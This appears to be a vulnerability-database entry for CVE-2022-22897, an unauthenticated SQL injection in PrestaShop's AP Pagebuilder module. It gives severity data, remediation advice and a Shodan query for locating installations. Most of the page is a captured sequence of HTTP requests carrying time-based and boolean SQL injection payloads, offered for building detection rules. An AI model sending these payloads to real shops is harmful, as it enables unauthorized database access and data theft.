🔙 목록으로 돌아가기

CVE-2022-22897: PrestaShop AP Pagebuilder <= 2.4.4 - SQL Injection

TitlePrestaShop AP Pagebuilder <= 2.4.4 - SQL Injection
Authormastercho
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
RemediationUpgrade PrestaShop Ap Pagebuilder to version 2.4.5 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.9012
CVE IDCVE-2022-22897
CWE IDCWE-89
Shodan Queryhttp.component:"prestashop"
Tags time-based-sqli cve cve2022 packetstorm prestashop sqli unauth apollotheme vkev vuln

🔍 Vulnerability Description

A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data.

🌐 HTTP Request

GET /modules/appagebuilder/config.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept-Encoding: gzip
POST /modules/appagebuilder/apajax.php?rand=3742673904519 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: close
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Referer: /
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0)
POST /modules/appagebuilder/apajax.php?rand=5325830226307 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: /
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

leoajax=1&product_one_img=-7191) OR 6644=6644-- yMwI
POST /modules/appagebuilder/apajax.php?rand=5462337630578 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: /
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

leoajax=1&product_one_img=-7405) OR 6643=6644-- yMwI
POST /modules/appagebuilder/apajax.php?rand=5100427188443 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: /
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

leoajax=1&pro_add=if(now()=sysdate()%2Csleep(6)%2C0)
POST /modules/appagebuilder/apajax.php?rand=7360761689182 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
Connection: close
Content-Length: 24
Content-Type: application/x-www-form-urlencoded
Referer: /
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

leoajax=1&pro_add=-4289)

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-22897.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-22897.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A